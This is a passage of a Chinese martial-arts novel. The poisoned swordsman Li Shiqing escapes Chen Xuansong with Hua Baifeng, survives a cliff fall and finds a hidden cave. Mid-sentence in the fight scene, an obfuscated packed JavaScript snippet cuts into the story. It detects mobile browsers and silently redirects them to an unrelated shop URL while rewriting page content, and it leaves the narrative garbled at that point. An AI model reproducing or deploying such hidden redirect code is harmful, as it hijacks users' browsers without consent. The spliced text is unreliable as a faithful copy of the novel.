“公子只有这点本事吗?这是该说公子学艺不精,还是玄机老人教徒不善!” 李世晴生性宽和,向来不好与人相争,但他感念师父教养之恩,断不能容许旁人侮辱。更何况玄机老人当年救治太湖疫灾,陈玄松人前口口声声感念恩德,不想背地里竟是这般出言不逊,李世晴不禁怒从心起。加之李世晴虽欲逃离,怎奈何凌云步步紧攻。李世晴心知不能再加拖延,当即出掌反击。 何、李二人四掌对攻,何凌云初时只觉李世晴掌法绵软无力,势若细波涟漪。何凌云心中不屑,加紧攻势。说来也怪,李世晴所使掌法看似波澜不惊,可无论何凌云由四面八方任何一处攻击,皆无法攻破。昆仑烈焰掌本是至刚至阳的掌法,而李世晴掌力阴柔,回环周身防守,如一弯漩涡,无论任何一处攻击袭来,都会被融为己用,且层层乘叠,一掌犹胜一掌,渐成惊涛骇浪之势。 “这是什么功夫?” “此乃先师所创净波掌法!” 李世晴高声宣扬,显然是回击陈玄松刚才的嘲讽。 数十年前,玄机老人游历岭南,曾在一间寺庙的古碑上拓得梵文佛经,甚觉有趣,校译研习之间,逐渐领悟出一套内功心法,唤作“清凉心经”,又以此内功为根基,再创掌法招式,名为“净波掌法”。此套功法源于佛家典籍,故而不重杀伐威猛,且需修练者心静如水,李世晴幼时修习,为求心静,常常置身于深水寒潭之中,故而内力更偏阴柔,却是正好克制昆仑烈焰掌的刚猛火毒,昨日李世晴以清凉心经为花白凤疗伤,不出半日就将花白凤身上的火毒化去,可见奇效。 李世晴数掌连攻,功力一掌胜过一掌,何凌云应接不暇,稍有疏忽,被逼退半步。就在这半步间隙,李世晴右手凌空一抓,飘落的雨水竟在他手中化为数枚冰凌,作暗器射出。李世晴的暗器功夫出神入化,何凌云只见冰凌由四面八方射来,在空中碰撞回折,难辨方向。何凌云挥掌抵挡,无奈还是漏了一枚,被击中左腿膝弯,登时冷僵,动弹不得。 李世晴虽占上风,却无意再战,再看一旁陈玄松,仍是负手而立。李世晴来不及细想,正欲飞身离开,却忽感身下受困。原来,刚才被李世晴击败退的年轻男子飞扑上来,一把抱住李世晴腰间。李世晴急欲逃离,扬掌要向男子头顶劈下,却见男子竟似不要命一般,死死抱着不放,李世晴于心不忍,这一掌终是无法劈下。转头又见何凌云双掌再度扑来,李世晴受困无法闪避,只得出掌反击。 二人四掌相击,何凌云状若癫狂,竟全然不顾走火入魔之险,运足周身功力猛灌双掌。李世晴只觉何凌云掌力沉重炙热,犹如山石压顶,烈火灼烧,再看何凌云满脸通红,眼角、鼻腔竟已淌出鲜血,他知道何凌云是拼着终身修为,要以内力压服。李世晴不明白何凌云为何要这般拼命,只知再过片刻,何凌云必是力尽气绝。李世晴于心不忍,又急于脱困,当即全力反击。 李世晴虽比何凌云年轻,但他自幼得名师教导,且十数年来不问俗事,一心习武求道,内力远胜何凌云,与古三通、花白龙不相上下。李世晴内力一灌,何凌云顿觉对方掌力犹如滔滔海浪,连绵不绝。何凌云誓不服输,却已到强弩之末,李世晴亦有所察觉,当即气沉丹田,周身功力灌至双掌,伴随一声大喝,将何凌云生生震退。 何凌云内力耗尽,再受李世晴掌力所击,连连后退,摔倒在地,狂吐鲜血。那名抱住李世晴的男子亦受余波所震,不由得双臂一松,倒飞出去。 击退二人,李世晴已无阻碍,尽可离去,却不料他竟呆立原地,双脚稍一挪动,竟不听使唤地单膝跪下。 “公子这是怎么了?”陈玄松一旁嘲笑道。 李世晴无暇理会陈玄松的嘲讽,此刻他只觉得周身严寒刺骨,犹如置身于万丈冰渊之中,他脸色苍白,手足无力,浑身打颤,一股寒流沿经脉四窜,搅扰肺腑,引得连连咳嗽,他伸手捂着,可一细看,他竟咳出几颗血红的冰粒。 “为什么……” 李世晴大感不解,他虽拼了全力击退何凌云,却也不至如此。他想起今早身体不适,原以为是帮花白凤疗伤,强运清凉心经以致体内阴阳失衡,稍加调息便能恢复。他又想起刚才用净波掌法对战昆仑烈焰掌,而净波掌法的内功根基是清凉心经,难道是这门功法运用过当,以致走火入魔? 不对!李世晴眼下真气受阻,体内寒流四窜,不受控制,无论李世晴如何运功调息都无法化解,显然是寒毒之症。可究竟是什么时候?如何做到?为何他从未察觉? “公子想不明白吗?”陈玄松见李世晴这般模样,再度讥笑,“公子刚才不是听到了吗?公子师从玄机老人,博览群书,应该知道西域冰蚕的功效。” 经此一说,李世晴这才明白,他梳理所有疑点,昆仑烈焰掌、蜡制的暗器、今早开始的莫名寒意以及西域冰蚕……医书记载,西域冰蚕乃上等毒物,其毒性独特,一在至阴至寒,二在毒性初时细微,几乎无法察觉,可一旦中毒者运功,毒性随着真气遍及奇经八脉,便再无解毒之法。 自昨日逃离之后,李世晴先忙着为花白凤疗伤,后担心古三通等人安危,四下打探消息,无暇顾及身体不适,也难怪未曾察觉中毒。现在想来,他先以清凉心经为花白凤疗伤,后又以净波掌法对战昆仑烈焰掌,这套功法重在阴柔,虽能克制昆仑烈焰掌,但对于西域冰蚕之毒更有推波助澜的功效,这也解释为什么何凌云如此执着使用昆仑烈焰掌与李世晴对战。 思至于此,李世晴只觉得万念俱灰,可他实在想不明白,于是向陈玄松开口问道: “晚辈与宿苍山庄无冤无仇,庄主为何下如此杀手?” “哼,无冤无仇?”陈玄松冷笑道,“你辱我女儿清白,哪里算得无冤无仇?” 陈玄松如此一说,反倒让李世晴进一步肯定心中猜想。 “是吗?原来这就是你的图谋。没想到我师父当年竟救了你这样一条毒蛇!” 李世晴竭力控诉,可陈玄松毫不理睬,拔剑刺来。李世晴内力全失,寒毒遍体,寸步难行,只见剑光已至,竟认命地闭上双眼。 可想象中的疼痛并未到来。黑暗中,只听一声裂空巨响,陈玄松心下一惊,抬头看去,一道紫电迎面劈下。陈玄松撤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320326|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步躲闪,回剑横削,岂料紫电柔软如蛇,竟绕过剑锋,直取双目。陈玄松被迫仰头闪避,又觉掌风袭来,横剑一封,却还是被逼得连退几步。 紧接着,一道倩影飘落,来到李世晴身边。 “你怎么了?怎么弄成这样?”这声音原本清脆如铃,此刻却带着哭腔。 “你……来了……”李世晴见花白凤双目含泪,神情焦急,心中既是感动又是怜惜,“我没救了……你快走!不用管……” “你说什么傻话!” 未容二人互诉衷肠,陈玄松再度挺剑攻来,花白凤又怒又急,当即挥鞭反击。一时间,只见紫电奔腾,势如狂风暴雨,难以近身。但陈玄松到底不是何凌云,他应敌沉稳,利用院落狭小,巧借树木闪避攻势,花白凤年轻气燥,手中长鞭狂舞,惊得飞花落叶,却仍不能伤陈玄松半分。 “魔教妖女,不过如此!” 陈玄松放声嘲讽,花白凤顿感羞辱,又见陈玄松现身于两棵古榕树之间,当即挥鞭打去,哪知不仅却被陈玄松巧妙躲过,长鞭反倒被榕树根须缠住。趁着这一瞬间隙,陈玄松挺剑刺来。花白凤勉强躲闪,却还是被划伤肩头。陈玄松一击不中,回身又是一掌拍来。花白凤抬手格挡,岂料陈玄松掌力之沉,震得她体内气血翻涌,喉中腥甜涌起。 陈玄松见花白凤脸色苍白,知她昨日被何凌云打伤,尚未痊愈,于是冷笑一声,掌上内劲愈狠。岂料花白凤非但不退,更是反手擒拿他的小臂,紧接着一道黑影从花白凤袖中蹿出,绕着陈玄松手臂蜿蜒攀爬,定睛一看,是一条斑纹黑蛇。 南教毒技,天下闻名。陈玄松自然不敢小视,当即内力一震,震开花白凤,随即挥剑横削,岂料那黑蛇颇为灵活,竟绕开剑锋,朝他面门嘶咬。陈玄松眼疾手快,一把扣住蛇头,狠狠掐死,摔在地上。 “妖女!” 这一回,花白凤没有再理会陈玄松的挑衅咒骂,一心只在李世晴身上。她趁着陈玄松被毒蛇纠缠之际,连忙扶起李世晴,向外飞逃。 可他们一番打斗早已惊动庄内守卫,院子已被层层包围。花白凤看着四面涌来的人潮,不免心慌,但她鼓起勇气,一面将李世晴护在身后,一面从袖中挥洒出白色粉末。说来也奇,围攻众人一碰粉末,顿时竟手足瘫软。花白凤趁机挥舞长鞭,生生击开一条出路。 虽然二人突破重围,但追兵仍是源源不断。花白凤只能护着李世晴且战且退,可她不熟地形,刚才悄悄跟随李世晴而来,眼下慌不择路,竟又退回来时悬崖。 虽然李世晴、花白凤是由这面悬崖而上,可眼下李世晴身中寒毒,力气全无,断然无法原路折返,而花白凤要护着李世晴,也无法再度攀爬悬崖。为难之际,只听一声剑鸣,陈玄松已挺剑追来。花白凤被迫回身应战,李世晴无力相助,只能后退,以免令花白凤掣肘。 可悬崖方寸之地,李、花二人被渐渐逼至悬崖边上。李世晴手足发软,加之暴雨倾盆,崖边土石松软,稍不留意,竟一脚踩空。花白凤勉强将陈玄松逼退半步,转头却见李世晴跌落悬崖,吓得花容失色,飞身去救,眼看就要将他抓住,却又失之交臂。花白凤眼见李世晴跌落百丈悬崖,顿时头脑空白,竟不带半分犹豫地一同跳了下去。 “想跑!” 陈玄松见李世晴、花白凤纷纷跌落悬崖,仍不放过,举剑要向花白凤背后掷去。恰当此时,天降惊雷,劈中悬边一颗古松,霎时间,虚空巨响,火光冲天,陈玄松被吓得连连后退,好不容易强定心神,赶去查看,只见崖底茫茫夜色,没有半点人影。 再看另一头,太湖西山,峰高百丈,李世晴、花白凤二人双双跌落悬崖,几无生机。可或许是上苍怜悯,又或仰赖花白凤智勇双全,就在千钧一发之际,花白凤一手挥舞长鞭卷缠李世晴腰间,一手抓住崖壁古树树干,这才生生止住二人坠落之势。 虽是暂得保命,可危机仍在。眼下暴雨如注,狂风不止,李世晴全无力气,而花白凤重伤未愈,刚才大战更是损耗内力,此刻只能将李世晴勉强拉住,却无脱困之法。 李世晴也明白此刻危局,从牙缝中挤出声音,劝道: “放手吧……” “闭嘴啊!” 花白凤一口回绝,手中力道更紧几分,眼神倔强不容李世晴反驳。花白凤急得四下张望,寻找落脚之地。忽然,在黑暗之中传来一阵隆隆声响,似是落石。花白凤急忙循声望去,果然看见不远处崖壁突现一道黑魆魆的石缝。 江南多雨,西山坐落于太湖之畔,千百年来受流水侵蚀,风雨雕琢,故而险峰兀立,崖陡似削,正如此刻,山崖受暴雨冲刷,土石崩落,竟正巧裂开一道能够勉强容身的岩洞。 虽得转机,可也有为难之处。这道裂缝相距数丈之远,若是往常,以花白凤的轻功倒也不在话下,可她此刻凌空悬着,还拖着李世晴,再无力飞崖走壁。 可花白凤感受到古树摇摇欲断,把心一横,开口向李世晴问道: “你信不信我?” 花白凤此刻对于要做之事全无把握,止不住声音颤抖,岂料李世晴仍旧温和一笑: “全凭姑娘决定!” 得李世晴如此信任,花白凤心志更坚,她调息运力,鼓足勇气,抓紧长鞭,前后摆荡。 李、花二人此刻性命全系于古树,花白凤用长鞭卷缠李世晴的身体前后摆荡,渐渐靠近岩洞,可古树根部土石剥落愈甚。最终,只听“咔嚓”一声,古树断裂,花白凤拼尽力气,挥动长鞭,将李世晴抛向岩洞。 李世晴被抛向岩洞,他知道花白凤内力所剩无几,这一抛是她拼着性命换李世晴生机。李世晴当然不忍见花白凤为自己牺牲,他轻功卓绝,凌空身形一扭,就在双足落地的一瞬间,反手紧握长鞭,一声大喝,使出十二分力气,竟将花白凤坠落的身躯生生拉了起来。 花白凤原本不抱生还希望,解开长鞭,阖目待毙,却忽感一道巨力猛拽,身躯瞬时腾空,竟向岩洞飞去。紧接着,只见李世晴张开双臂,将她稳稳抱住。 花白凤被李世晴接在怀中,虽未摔伤,但石缝狭窄,花白凤的身上、脸上被洞口尖石划出好几道伤痕,可她已全然不顾。黑暗中,花白凤慌乱地摸索着李世晴的脸庞,只觉他的肌肤冰凉,几乎如死人一般,气息弱得难以辨别。 “你……你怎么样了?说话啊!”花白凤已经急得难掩哭腔。 李世晴身中冰蚕之毒,起初尚能运功勉强阻挡毒性扩散,可刚才为救花白凤,强运内力,以致体内寒毒随真气流窜,此刻已深入脏腑。李世晴听着花白凤焦急的哭声,心中怜惜已胜寒毒之苦,他本想回握她的手,却是一点力气也使不上,只能软绵绵地搭在她的手上。 “你不要哭……我中了西域冰蚕之毒……原本就……” “就什么啊!你自己中毒了都不着急的吗?你……你何苦为了护我……” “不!” 李世晴气若游丝,声音却无比坚定,“习武……本就是为了锄强扶弱……只要……能保护你……只要你没事……我就开心……一点也不后悔……我只是……舍不得……” 李世晴已挤不出声音,但他所说的每一个字皆是肺腑之言,他凭心中侠义行事,纵使招致死祸,亦坦荡无悔。只是此刻,他听见少女悲痛的哭声,心中涌现万般怜爱与不舍,他想为她拂去眼泪,却怎么也抬不起手来,还是花白凤察觉他的心愿,反握他的手,引导他抚上自己的脸颊。 他的手是这样的冷,话语却是如此温暖,叫花白凤悲欢杂糅,却也下定一个决心。花白凤当即盘腿坐下,扶起李世晴,双掌按在他背上。 “你何苦再费心力……我已毒入脏腑……” “闭嘴!” 花白凤生生喝止,强忍哭腔,语气坚定亦是不输李世晴。 “既然舍不得,就不要死!你听好了,这不是为了还什么救命之恩,我也舍不得……我不许你死!我要你为我活着!” 花白凤哽咽不止,却一字一句坚定无比。只可惜,李世晴已听不见,他只觉犹如身处一片冰湖之中,起初冰寒刺骨,眼下已全然麻木,意识不断沉沦,就连少女的声音也越来越远…… 28.患难见真情 幽境显隐秘 一束红光照来,如同在黑暗的湖水中划开一道涟漪,将沉睡之人的游魂唤回。 李世晴目光追随着这一束红光,只见远方烈日初升、霞光满天,不禁轻笑。他自问生前行善积德,死后不致坠入阎罗地狱,却也不曾想是这样一番美景。看来是上天眷顾,难怪眼下虽手足无力,但身上寒意已消,反而似被一团温软覆盖着,香气沁人。李世晴不由得贪恋,张开双手环抱,却触到玲珑的起伏,顿觉异样,意识醒了大半。他抬头仔细一看,竟是一名少女伏在自己身上酣睡,而自己的双手正搭在她的背上、腰上,随着她的呼吸而起伏。 一瞬间,李世晴只觉得热血冲顶,手足僵硬,心中似乎涌现千万种念头,到最后只化为两个字: 不该!实在不该!就算只是假想的念头也是不该!更何况此刻所触温软、所嗅香气,还有胸中鼓点般的心跳声,分明真真切切……李世晴无法思考,急欲起身,可他四肢无力,勉强挣动几下,反倒惊醒少女。 花白凤由睡梦中醒来,甫一抬头睁眼,与李世晴四目相对,她心挂眼前人安危,见他已然苏醒,神眸清明,即知无恙,顿时喜不自禁,想也不想地张臂环抱他的脖颈。 这一下,李世晴更不知该如何应对,他此刻只觉得面如火烧,胸如擂鼓,两只手生生僵在空中,举着不是,放下也不是,犹豫许久,才勉强开口: “那个……你……你先起来……” 花白凤喜极而泣,伏在李世晴身上哭了好久,直到李世晴开口唤她,才回过神来,缓缓坐起身来。 二人相对而坐,李世晴慌忙整理衣襟,看了看自己,又看了看花白凤,见二人虽然外衣凌乱褶皱,身体却未袒露,总算稍稍放心。只是摸到肩头一处泪痕,李世晴眼中不禁闪过一丝柔情。花白凤原本关心李世晴身体安危,正欲开口询问,却见李世晴眼神躲闪,还有手上不自然的动作,立时明了,转喜为嗔,没好气地开口道: “昨夜你身中寒毒,一晚上冻得瑟瑟发抖,我是好心才帮你取暖,别一副是我占你便宜的模样。” 花白凤如此一说,李世晴也意识到自己的失态,赶忙抱拳致歉。 “是在下失仪,望姑娘恕罪!” 见李世晴这般迂腐模样,花白凤忍不住“噗嗤”一笑。 “别姑娘长姑娘短的,我有名字,我叫花白凤!我还不知道你的名字呢!” 话至此处,李世晴这才意识到,他和花白凤相见不过数面,且每一次不是相见匆匆,就是危难当头,难得二人独处时刻,也因李世晴扭捏躲闪,不能好好说话,是以二人几番共度磨难,到此刻还不知道彼此姓名。 “不才李世晴……” “嗯……李——世——晴——那我就叫你世晴哥哥……” 此话一出,李世晴顿觉心跳漏了一拍,再看花白凤眼神如火,直勾勾地看着他,更是慌乱。 “姑……姑娘莫要取笑在下……在下多谢姑娘救命之恩……” 自李世晴醒来,发现二人和衣相拥,心中羞涩,慌乱躲闪,而花白凤却毫不在意,反而更进一步撩拨,搅得李世晴方寸皆乱,无暇顾及其它。直到“救命之恩”四字脱口而出,李世晴这才意识到,自己昨夜身中西域冰蚕之毒,毒入脏腑,按理无药可救。可如今李世晴体内寒意已消,气息舒畅,显然毒性已解,可花白凤是如何做到? “在下听闻,滇南遍地奇花异草、虫蛇珍兽,因而苗人善毒,南教更居之最。如今一看,不仅善于用毒,解毒之技更是傲视天下。” 李世晴出言试探,花白凤心性单纯,只以为李世晴是在夸赞南教,骄傲道: “我南教立教百年,乃滇南第一大帮,自然有绝妙的本领。滇南蛊毒横流,想生存,就要懂得解毒之法,你是玄机老人的弟子,你肯定也知道当年的事!” “你是指当年天池怪侠和玉龙仙客互换绝学秘笈?” “你以为,玉龙仙客得了这两项绝技就只是原封不动地传给后人吗?别忘了,当初天池怪侠与玉龙仙客相约,互换秘笈,各自精进,百年之后,传人再战。” “难道说……” 说到此处,花白凤的骄傲之情已是溢于言表。 “我的祖父玉龙仙客当年得到移花接木大法和化一掌这两门武学,数十年精修研习,早已更上一层。就拿移花接木大法来说,本就是无上内功心法,而正如你所说,苗人善于用毒,自然更要懂得解毒,因此我的祖父将南教毒功与移花接木大法融合。我和哥哥自小修练,早已百毒不惧。而且,若将自身功力渡于他人,亦可解天下百毒。” “就连西域冰蚕也能……” “西域冰蚕算得了什么,滇南蛊毒万千,要论之最,还是南教的……” “这么说来,昆仑烈焰掌的火毒也不在话下?” “诶……” “看来全是我自作多情!”李世晴忽然苦笑一声,转身背对花白凤,自嘲道,“我早该想到,苗人善用蛊毒,你是南教圣女,毒技自然远远高明于我。我却傻傻地以为自己在英雄救美,结果徒耗真气,落得如今……” “你……你什么意思?”花白凤急得上前拉扯李世晴,“你是说我故意骗你,把你害成如今这样吗?” “难道不是吗?” 李世晴顺着拉扯猛然回身,一贯温和的眼中之中此刻竟有怒火燃烧。 “那是……是我当时的确中掌,受伤昏迷,是你自己要来救我的!我刚从昏迷中醒来,你就说要帮我运功解毒,我可没求你!” “可你醒来之后总能告诉我吧!” “那……那是因为……” 那是因为,花白凤对李世晴的爱慕! 花白凤自从来到中原,所见中原汉人处处排挤南教,蔑视苗人,心中厌恶仇恨,只觉得汉人皆是虚伪卑劣。直到遇见李世晴,起初花白凤只觉得李世晴容貌俊朗,举止文雅,再有之后几次接触相处,发现李世晴性情宽和,对她温柔耐心,之后又有花白凤屡遭中原各派为难,李世晴仗义相助,不惜与中原各派为敌,更显侠义豪情。花白凤只觉得李世晴的英雄气概远胜她见过的任何一位苗人或汉人男子,不由得心生爱慕。因此当李世晴提出为她运功解毒之时,她知道李世晴师承玄机老人,医术高超,便想试探一番。但更重要的是,她想把握机会,与李世晴有更多的接触,于是便把移花接木大法能解百毒之事瞒了下来。 只不过,这些小女儿的心思,纵使花白凤性情豪爽,亦羞于说出,是以支吾半天,也不知该如何解释。花白凤越想越急,索性张口骂道: “说到底,你还是介怀我苗人的身份,认为我有意害你!” “我不是……” “什么不是!”花白凤一口打断,不容李世晴辩解,“你听听你说的,什么苗人善毒?说到底,你也和那些汉人一样,认为我们苗人歹毒,认为我是故意骗你!你说我连累你成如今这样,古三通给你招惹那么多麻烦,怎么不见你怪他?还不是因为他是汉人、我是苗人!说什么不在意汉苗出身,都是骗人的!” 花白凤越说越气,越气越哭,最后索性甩身走开。李世晴见状,本想追去解释,可他毒伤初愈,真气滞阻,眼下一急,引得气冲肺腑,胸口剧痛,硬是只字难言,寸步难行。所幸,花白凤虽然气闷,却不致昏了头脑,只是走到洞口,背对着他抱膝坐着。 李世晴见花白凤正气在头上,而他空有一身学识,却对男女相处之道一窍不通,一时半会儿竟不知该如何劝解。李世晴心想此事急切无益,索性也不再出声,盘腿而坐,闭目调息。 就这样,二人在沉默中僵持半日。 李世晴打坐调息,直至感觉体内寒毒消解,功力恢复七八成。可奇怪的是,李世晴同时发现体内有一股真气不受控制,无法化解。花白凤说她是以南教秘传功法为李世晴解毒,李世晴心想自己并未修习南教武功,忽得外力入体,难免与自身内功相冲,好在这股真气暂无冲撞反扑之势,或许过些时日,便会自行消解。李世晴又望向花白凤,只见花白凤依旧抱膝坐着,此时已近黄昏,淡淡的霞光洒在她的身上,颇显寂寥,李世晴不禁心疼起来。 于是,李世晴默默起身,走到花白凤身边,伸着脑袋小心探望,只见晚霞如辉,映在这如花的容颜之上,也清楚地映照出她眼角的泪痕。李世晴一意求和,怎奈他平日文采风流,此刻对着倾心的女子,却是笨嘴拙舌,半天不敢言语,反倒是花白凤率先开口: “你干什么?” “我……在下特来向姑娘赔罪!是在下愚笨,言语鲁莽冲撞,望姑娘不计前嫌,海涵见谅!” “见谅?哼,我怎么敢呢?” 花白凤一抹眼角泪水,霍然起身,噘着嘴直视李世晴,眼神中尽是倔强委屈。 “无痕公子不怪我欺瞒你,连累你受如此重伤吗?” 花白凤这样一说,倒叫李世晴心中不安,急忙道: “那日太湖之战,我身中暗器,西域冰蚕藏在暗器之中,我早已中毒,怎能说是姑娘连累?姑娘肯耗费功力为我解毒,已是恩德,我该多谢姑娘才是!” “可我的确骗了你啊!” 李世晴释然一笑,道: “移花接木大法既是玉龙仙客传下功法,自然是南教不传之秘。姑娘谨慎,不愿轻易显露,也是应当。” “那你之前生什么气啊?” “这……” 这一下,花白凤又将李世晴问住。李世晴只见花白凤步步紧靠,眼神直逼不容他逃避,心中犹豫许久,终于开口承认。 “你是南教圣女……我原以为,自己虽功力有限,却能保你护你,就算为你疗毒大耗功力,也心甘情愿……可是如今听你一说,你们南教的移花接木大法如此高明,昆仑烈焰掌的火毒根本不值一提,我就觉得……觉得自己……实在是自作多情……” 李世晴说得支支吾吾,却是肺腑之言。李世晴性情宽和,行事磊落,可到底还是凡俗男子。那日云梦泽相识,李世晴初见花白凤绝世容貌,惊为天人,随后数次相遇,虽相处时间极短,却被花白凤的飒爽英姿、直率性情所吸引。李世晴屡次出面维护花白凤,甚至不惜用师父亲传功法为她疗毒,一是出于心中侠义气概,二是因为已逐渐对她倾心,誓要将她维护周全。 可今日听花白凤一说,移花接木大法可解百毒,能一夜化解天下至毒西域冰蚕,昆仑烈焰掌的火毒更是不在话下。李世晴只觉得原本引以为豪的侠义之举、英雄气概,皆是自作多情,更别提后来他身中寒毒,反倒要花白凤为他解毒,身为男儿的自尊心愈加受挫,又想到花白凤有意隐瞒试探,一时心中郁结难消,这才说了那些过火的话,如今想来,实是自己气量狭小。 李世晴小心翼翼地看着花白凤,只见她低着头,默不作声,以为她还在生气,苦苦思索该如何劝解,却忽听得一阵银铃般的爽朗笑声。 “你啊……” 花白凤破涕为笑,晶莹的泪珠挂在眼角,在霞光的映衬之下更显可爱。 “都说女人小肚鸡肠,要我看,你们男人才是不遑多让呢!” “你不生气了?” “你说呢?”花白凤故作严肃地反问道。 其实,花白凤心中明白,自己隐瞒移花接木大法可解百毒之事,连累李世晴大耗功力为自己疗毒,才会被陈玄松、何凌云等人牵制,否则,以李世晴的修为,哪会落得那般狼狈? 只是花白凤身为南教圣女,自小受众星捧月,就连哥哥,虽平日严厉督促她习武练功,可在其他事上对她百依千顺、万般宠爱,以致花白凤任性刁蛮。花白凤越是喜欢李世晴,越是骄纵,越是希望他能多多宠让自己,因此,花白凤虽明知自己不对,可偏不愿承认,当听到李世晴责怪自己,只觉得无比委屈,故而胡搅蛮缠。 可之后花白凤冷静一想,自己也不能说毫无过错,心中怒气渐渐消了。眼下又见李世晴虽口笨舌拙,却努力劝解讨好自己,甚至不惜男儿颜面,将小心思和盘托出,可见他也对自己有意。想到这里,花白凤心花怒放,哪里还顾得上生气?饶是如此,花白凤仍旧故作严肃,道: “你答应我一件事,我就不生气了。” “只要是不违背道义,在下力所能及,姑娘但说无妨。” “这件事很简单的,就是你不许再自称在下,也不许再姑娘姑娘地叫我!” “这……那我该如何称呼你?” “我不是告诉你我的名字了吗?我叫花白凤!” “可……” “说啊!” “白……白……白凤姑娘!” 李世晴仿佛使尽所有勇气,才勉强说出这四个字,却还是难挡心中羞涩,连忙后退几步,抱拳行礼。 “你这个人啊——” 花白凤见李世晴这般迂腐模样,仿佛叫个名字就像是私定终身一般,只觉得好气又好笑,却也庆幸两个人的关系更进一步。正想靠近他,却不料恰好此时,二人的肚子竟不约而同地“咕咕”叫了起来。 山洞狭小,哪怕极微弱的声音也听得十分响亮。从昨夜到今日,除了在西山脚下简单吃过一餐,李世晴再未进粒米,加上中毒疗伤,更是消耗体力,此时肚子已再难耐饥饿。李世晴一向讲礼守矩,如此失仪,本该觉得羞愧。可他一听,花白凤的肚子竟像是和自己的肚子商量好一般,同时发出抗议的声音,再看花白凤也是手捂肚子,满脸尴尬。李世晴只觉得她既可爱又有趣,再也忍不住,竟哈哈大笑起来。 “你笑什么?你不也肚子叫了吗?” 花白凤又羞又急,抡起拳头去捶李世晴的胸口,可她看李世晴难得这样开心爽朗地欢笑,竟也跟着笑了起来。 二人就这样互望着傻傻地笑了好一会儿,直到花白凤再度开口: “你不要笑了!我都快饿死了!” “好,我不笑了!” 李世晴渐渐止住笑声。说也奇怪,经这么一闹,原本盘桓在二人之间的尴尬气氛,竟随着一阵笑声飘然而散,此时的李世晴,竟能十分自然地看着花白凤,眼中满是怜爱。 李世晴腹中饥饿,可花白凤与他一同逃难,又耗费功力为他解毒,相必更是疲惫饥饿。这山洞虽然隐秘,可空无一物。李世晴站在洞口向山下观望,敏锐地察觉到,山下有许多人游走搜索,显然是为寻找李、花二人而来。西山地势极高,昨夜二人皆身受重伤,跌落悬崖,九死一生,可陈玄松仍不放心,大肆搜捕,誓是生要见人,死要见尸。 “这样看来,我们暂时也走不了。” 相比于李世晴满面愁容,花白凤更为乐观。 “这山洞是因昨日暴雨冲刷裂开,陈玄松绝对猜不到我们藏在这里,我们尽可以安心躲着。” “话虽如此,可这山洞空无一物,我们若一直躲着,便要活活困死。更何况,陈玄松一心置我于死地,除非见到我的尸体,否则不会罢休!” “你怎么知道陈玄松一心置你于死地?” “我昨日所中之毒名为西域冰蚕,这是一种极其罕见的毒物,中毒难以察觉,可一旦毒发,就无可救治。西域冰蚕是藏在蜡制的暗器,打入我的体内,那日大战之时,湖面上聚集中原七派高手,其中崆峒掌门天星子的暗器功夫最为了得,可要将蜡制的暗器隔空打入体内一寸,以天星子的功力做不到。能有如此深厚内功之人,在场的只有少林派了介大师、峨眉派明溪师太、武当派掌门白石道人和陈玄松,而唯独陈玄松才有动机。” “他的动机是什么?” 说到此处,李世晴忽然苦笑一声,道: “他说……我侮辱了他女儿的清白。” “啊!你……” 李世晴此话一出,将花白凤吓了一跳,可她转念一想,又觉得不对。这几日共度患难,花白凤清楚李世晴为人正直,绝不会做此卑劣之事,于是坚定道: “你不会的,对吗?” “当然不会!” 李世晴欣然一笑。这些日子来,李世晴蒙冤受难,众人以讹传讹,硬生生将他说成下流无耻的采花淫贼。眼下只怕除了梅琴、古三通等人,唯有花白凤如此信任他,这让李世晴心中十分感动。 “你既没有做过,陈玄松为何冤枉你?” “我心中有一些疑团,现下还不能十分肯定,可此事关乎许多人的声誉,我不能妄言。我希望你能明白!” 花白凤原本该恼李世晴对她隐瞒,可她知道李世晴心地善良,处处为他人着想,便不再多说什么。 此时,夜幕已近,光线退去,冷风涌入,花白凤不禁打了个寒颤,李世晴连忙侧身为花白凤挡风,却见花白凤出神地望着山洞深处。 “怎么了?” “这风……好奇怪啊!” “怎么奇怪?西山地势极高,夜来风寒,也是有的。” “哎呀,我不知道怎么和你说!”花白凤从小在山林长大,对于自然万物有着敏锐的感知,“总之,如果这山洞深处没有通风口的话,风是不会往里灌的。” 说着,花白凤牵起李世晴的手,往山洞深处走去。 二人昨夜寻得这处山洞避难,只在洞口光线充足之处休整。眼下,二人结伴往深处走去。山洞深处黑暗潮湿,花白凤牵着李世晴走在前头,她黑夜视物如同白昼,一路摸索倒也无妨。只是愈往深处,愈发狭窄,直至二人胸膛背部紧贴石壁,不能前进。 “我看算了吧,此路不通。”李世晴劝道。 “不一定!” 花白凤伸手在前方石壁摸索,摸到数条裂纹,这些裂纹潮湿滑腻,想是长久受流水冲刷所致。花白凤感觉到掌间凉风习习,用力敲打石壁,能隐约听到回音,心中更加肯定,转头对李世晴说道: “你来帮我!” 李世晴不明所以,但他信任花白凤。只见花白凤双掌齐出,猛击石壁,李世晴立时了然,双掌按在花白凤背上。二人掌力相乘,猛击石壁,果然很快,石壁崩裂,显露出彼端的空间。 二人穿过石壁裂缝,发现石壁之后,竟是别有洞天。 相比于另一侧的阴冷潮湿,此处虽也在山洞之中,却温暖干燥,宽敞明亮,洞顶之上凿有几处通风口,因而也不觉得憋闷。李世晴四下观察,只见此处虽然布置简陋,但相应物品一应俱全,草席、蒲团、桌椅、丹炉,乍看之下,似是某位高人修练之所。 “快看!” 花白凤一声呼喊,李世晴顺着花白凤所指看去,只见一方矮桌,桌上摆满热气腾腾的饭菜。花白凤饥饿难耐,抓起一个鸡腿就吃,也不忘给李世晴递上一个。 “快吃啊!” 李世晴不顾花白凤的催促,只看着桌上的食物,精致丰盛,食材滋补,中央放着硕大的汤盅,掀开一看,是满满一盅的红枣乌鸡汤。 